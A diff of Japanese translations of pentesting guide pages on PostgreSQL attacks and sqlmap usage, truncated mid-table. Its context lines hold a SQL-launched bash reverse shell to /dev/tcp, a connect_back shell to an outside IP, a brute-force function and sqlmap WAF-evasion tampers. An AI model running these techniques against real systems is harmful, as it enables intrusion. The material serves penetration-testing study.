&#xNAN;_また、ファイル pg_hba.conf は postgres ユーザーとグループによってのみ読み取り可能で、postgres ユーザーによってのみ書き込み可能であることに注意してください。_
|
&#xNAN;_また、ファイル pg_hba.conf は postgres ユーザーとグループによってのみ読み取り可能で、postgres ユーザーによってのみ書き込み可能であることに注意してください。_
|
||||||
|
|
||||||
このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresql データベースに接続することを可能にします。
|
このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresql データベースに接続することを可能にします。
|
||||||
@ -26,7 +26,7 @@ _この設定は、管理者がデータベースユーザーのパスワード
|
|||||||
host all all 127.0.0.1/32 trust
|
host all all 127.0.0.1/32 trust
|
||||||
```
|
```
|
||||||
ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\
|
ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\
|
||||||
この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続することで **権限を昇格** させ、アクセスできないはずのデータにアクセスすることができます:
|
この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続し、アクセスできないはずのデータにアクセスすることで **権限を昇格** させることができます:
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink('host=127.0.0.1
|
SELECT * FROM dblink('host=127.0.0.1
|
||||||
user=postgres
|
user=postgres
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**[元の論文でこれらの攻撃に関する詳細情報を見つける](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。
|
**[この攻撃に関する詳細情報は元の論文を参照してください](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。
|
||||||
|
|
||||||
PL/pgSQLは、**強化された手続き制御**を提供することにより、SQLの能力を超えた**完全なプログラミング言語**です。これには、ループやさまざまな制御構造の利用が含まれます。PL/pgSQL言語で作成された関数は、SQL文やトリガーによって呼び出すことができ、データベース環境内の操作の範囲を広げます。
|
PL/pgSQLは、**強化された手続き制御**を提供することにより、SQLの能力を超えた**完全なプログラミング言語**です。これには、ループやさまざまな制御構造の利用が含まれます。PL/pgSQL言語で作成された関数は、SQL文やトリガーによって呼び出すことができ、データベース環境内の操作の範囲を広げます。
|
||||||
|
|
||||||
@ -24,13 +24,13 @@ lanname | lanacl
|
|||||||
---------+-----------------
|
---------+-----------------
|
||||||
plpgsql | {admin=U/admin}
|
plpgsql | {admin=U/admin}
|
||||||
```
|
```
|
||||||
次のスクリプトが機能するためには、**`dblink`関数が存在する必要があります**。存在しない場合は、次のように作成を試みることができます。
|
次のスクリプトが機能するためには、**`dblink`関数が存在する必要があります**。存在しない場合は、作成を試みることができます。
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
## パスワードブルートフォース
|
## パスワードブルートフォース
|
||||||
|
|
||||||
4文字のパスワードブルートフォースを実行する方法は次のとおりです:
|
ここでは、4文字のパスワードブルートフォースを実行する方法を示します:
|
||||||
```sql
|
```sql
|
||||||
//Create the brute-force function
|
//Create the brute-force function
|
||||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||||
|
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||||||
|
|
||||||
<summary>Base64からバイナリファイルを書く</summary>
|
<summary>Base64からバイナリファイルを書く</summary>
|
||||||
|
|
||||||
Postgresでファイルにバイナリを書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
|
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||||
$$
|
$$
|
||||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
|||||||
```
|
```
|
||||||
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
|
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
|
||||||
|
|
||||||
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
|
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
|
||||||
>
|
>
|
||||||
> `#ifdef PG_MODULE_MAGIC`\
|
> `#ifdef PG_MODULE_MAGIC`\
|
||||||
> `PG_MODULE_MAGIC;`\
|
> `PG_MODULE_MAGIC;`\
|
||||||
@ -90,9 +90,9 @@ PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプ
|
|||||||
SELECT version();
|
SELECT version();
|
||||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||||
```
|
```
|
||||||
互換性のために、メジャーバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
|
互換性のために、主要バージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
|
||||||
|
|
||||||
そのバージョンをシステムにインストールするには:
|
そのバージョンをシステムにインストールするには:
|
||||||
```bash
|
```bash
|
||||||
apt install postgresql postgresql-server-dev-9.6
|
apt install postgresql postgresql-server-dev-9.6
|
||||||
```
|
```
|
||||||
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
|||||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||||
#Notice the double single quotes are needed to scape the qoutes
|
#Notice the double single quotes are needed to scape the qoutes
|
||||||
```
|
```
|
||||||
この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**(PostgreSQLへのアクセスがある場合):
|
この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**(PostgreSQLアクセスがある場合):
|
||||||
|
|
||||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||||
|
|
||||||
@ -254,7 +254,7 @@ PG_RETURN_INT32(arg + 1);
|
|||||||
```c
|
```c
|
||||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||||
```
|
```
|
||||||
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を備えた良い出発点です。
|
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を提供する良い出発点です。
|
||||||
|
|
||||||
### 最新のPostgreSQLバージョンにおけるRCE
|
### 最新のPostgreSQLバージョンにおけるRCE
|
||||||
|
|
||||||
@ -262,7 +262,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
|||||||
|
|
||||||
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
|
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
|
||||||
|
|
||||||
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、次にそれを**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
|
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。したがって、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
|
||||||
|
|
||||||
#### 攻撃フロー
|
#### 攻撃フロー
|
||||||
|
|
||||||
@ -272,16 +272,16 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
|||||||
big-binary-files-upload-postgresql.md
|
big-binary-files-upload-postgresql.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます:
|
拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてロードできます:
|
||||||
```c
|
```c
|
||||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||||
select connect_back('192.168.100.54', 1234);
|
select connect_back('192.168.100.54', 1234);
|
||||||
```
|
```
|
||||||
_注意:create関数が拡張子`.dll`を追加するため、付加する必要はありません。_
|
_注意:create関数が拡張子を追加するため、`.dll`拡張子を付ける必要はありません。_
|
||||||
|
|
||||||
詳細については、**[こちらの元の出版物を読む](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
|
詳細については、**[こちらの元の出版物をお読みください](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
|
||||||
その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています(_postgres拡張をコンパイルする方法については、以前のバージョンのいずれかを参照してください_)。\
|
その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています(_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください_)。\
|
||||||
同じページで、この技術を自動化するための**エクスプロイトが提供されました**:
|
同じページには、この技術を自動化するための**エクスプロイト**が示されています:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys
|
import sys
|
||||||
|
@ -4,15 +4,15 @@
|
|||||||
|
|
||||||
## PostgreSQL Languages
|
## PostgreSQL Languages
|
||||||
|
|
||||||
アクセスしたPostgreSQLデータベースには、**任意のコードを実行する**ために悪用できる異なる**スクリプト言語がインストールされている**可能性があります。
|
アクセスしたPostgreSQLデータベースには、**任意のコードを実行するために悪用できる**異なる**スクリプト言語がインストールされている**可能性があります。
|
||||||
|
|
||||||
**それらを実行する**ことができます:
|
**それらを実行することができます**:
|
||||||
```sql
|
```sql
|
||||||
\dL *
|
\dL *
|
||||||
|
|
||||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||||
```
|
```
|
||||||
PostgreSQLにインストールできるスクリプト言語のほとんどには**2つの種類**があります:**trusted**と**untrusted**です。**untrusted**は**"u"で終わる名前**を持ち、**コードを実行**したり、他の興味深い機能を使用することを許可するバージョンです。インストールされていると興味深い言語は以下の通りです:
|
PostgreSQLにインストールできるスクリプト言語のほとんどは、**2つの種類**があります:**trusted**と**untrusted**。**untrusted**は**"u"で終わる名前**を持ち、**コードを実行**したり、他の興味深い機能を使用することを許可するバージョンです。インストールされていると興味深い言語は以下の通りです:
|
||||||
|
|
||||||
- **plpythonu**
|
- **plpythonu**
|
||||||
- **plpython3u**
|
- **plpython3u**
|
||||||
@ -41,7 +41,7 @@ PostgreSQLにインストールできるスクリプト言語のほとんどに
|
|||||||
> CREATE EXTENSION plrubyu;
|
> CREATE EXTENSION plrubyu;
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
安全なバージョンを「不安全」としてコンパイルすることも可能であることに注意してください。例えば、[**これ**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を確認してください。したがって、**trusted**のものしかインストールされていなくても、コードを実行できるかどうか試してみる価値があります。
|
安全なバージョンを「不安全」としてコンパイルすることも可能です。例えば、[**これ**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を確認してください。したがって、**trusted**のものしかインストールされていなくても、コードを実行できるかどうか試してみる価値があります。
|
||||||
|
|
||||||
## plpythonu/plpython3u
|
## plpythonu/plpython3u
|
||||||
|
|
||||||
@ -91,7 +91,7 @@ SELECT lsdir("/"); #List dir
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
|
|
||||||
{{#tab name="Wフォルダを見つける"}}
|
{{#tab name="Wフォルダーを見つける"}}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
@ -224,7 +224,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
|
|
||||||
{{#tab name="Read"}}
|
{{#tab name="読む"}}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION read (path text)
|
CREATE OR REPLACE FUNCTION read (path text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -93,7 +93,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||||||
--crawl = how deep you want to crawl a site
|
--crawl = how deep you want to crawl a site
|
||||||
--forms = Parse and test forms
|
--forms = Parse and test forms
|
||||||
```
|
```
|
||||||
# カスタマイズされたインジェクション
|
# インジェクションのカスタマイズ
|
||||||
|
|
||||||
## サフィックスを設定する
|
## サフィックスを設定する
|
||||||
```bash
|
```bash
|
||||||
@ -115,51 +115,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
```
|
```
|
||||||
| Tamper | Description |
|
| Tamper | Description |
|
||||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅対応文字に置き換えます。 |
|
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応文字に置き換えます。 |
|
||||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
||||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||||
| between.py | 大なり演算子 \('>'\) を 'NOT BETWEEN 0 AND \#' に置き換えます。 |
|
| between.py | 大なり演算子 \('>'\) を 'NOT BETWEEN 0 AND \#' に置き換えます。 |
|
||||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダム空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます。 |
|
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます。 |
|
||||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||||
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
||||||
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます。 |
|
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます。 |
|
||||||
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます。 |
|
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます。 |
|
||||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。"%u0022" |
|
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。"\u0022" |
|
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||||
| equaltolike.py | 演算子等号 \('='\) のすべての出現を演算子 'LIKE' に置き換えます。 |
|
| equaltolike.py | 演算子等号 \('='\) のすべての出現を演算子 'LIKE' に置き換えます。 |
|
||||||
| escapequotes.py | スラッシュで引用符 \(' と "\) をエスケープします。 |
|
| escapequotes.py | スラッシュで引用符 \(' と "\) をエスケープします。 |
|
||||||
| greatest.py | 大なり演算子 \('>'\) を 'GREATEST' 対応に置き換えます。 |
|
| greatest.py | 大なり演算子 \('>'\) を 'GREATEST' 対応物に置き換えます。 |
|
||||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||||
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます。 |
|
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます。 |
|
||||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます(例:.replace\("SELECT", ""\) フィルター)。 |
|
| nonrecursivereplacement.py | 置換に適した定義済みSQLキーワードを置き換えます(例:.replace\("SELECT", ""\) フィルター)。 |
|
||||||
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します。 |
|
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します。 |
|
||||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||||
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
||||||
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます。 |
|
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます。 |
|
||||||
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
||||||
| space2hash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
| space2hash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
||||||
| space2morehash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
| space2morehash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
||||||
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| space2mssqlhash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
|
| space2mssqlhash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
|
||||||
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
|
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
|
||||||
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます。 |
|
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます。 |
|
||||||
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応 \(&& と |
|
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物 \(&& と |
|
||||||
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます。 |
|
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます。 |
|
||||||
| unmagicquotes.py | 引用文字 \('\) をマルチバイトコンボ %bf%27 と一般的なコメントを末尾に追加します(動作させるため)。 |
|
| unmagicquotes.py | 引用文字 \('\) をマルチバイトコンボ %bf%27 と一般的なコメントを末尾に追加します(動作させるため)。 |
|
||||||
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
||||||
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
||||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||||
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
|
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## SQLmapの基本引数
|
## SQLmapの基本引数
|
||||||
|
|
||||||
### 一般的な
|
### 一般的な
|
||||||
@ -81,7 +82,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||||||
```
|
```
|
||||||
### Eval
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** は、`-e` または `--eval` を使用して、ペイロードを送信する前にいくつかの Python ワンライナーで処理することを可能にします。これにより、送信する前にペイロードをカスタム方式で処理するのが非常に簡単で迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
|
**Sqlmap** は、`-e` または `--eval` を使用して、ペイロードを送信する前にいくつかの Python ワンライナーで処理することを可能にします。これにより、送信する前にペイロードをカスタム方式で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
@ -132,7 +133,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
```
|
```
|
||||||
### Tamper
|
### Tamper
|
||||||
|
|
||||||
**自分自身のタムパーをPythonで作成することができる**ことを忘れないでください。タムパーの例は、[Second Order Injection page here](second-order-injection-sqlmap.md)にあります。
|
**自分のタムパーをPythonで作成することができ、非常に簡単です。** タムパーの例は、[Second Order Injection page here](second-order-injection-sqlmap.md)で見つけることができます。
|
||||||
```bash
|
```bash
|
||||||
--tamper=name_of_the_tamper
|
--tamper=name_of_the_tamper
|
||||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||||
@ -143,46 +144,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
||||||
| appendnullbyte.py | ペイロードの最後にエンコードされたNULLバイト文字を追加します。 |
|
| appendnullbyte.py | ペイロードの最後にエンコードされたNULLバイト文字を追加します。 |
|
||||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||||
| between.py | 大なり演算子('>')を 'NOT BETWEEN 0 AND #' に置き換えます。 |
|
| between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 |
|
||||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 '=' を LIKE 演算子に置き換えます。 |
|
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 |
|
||||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
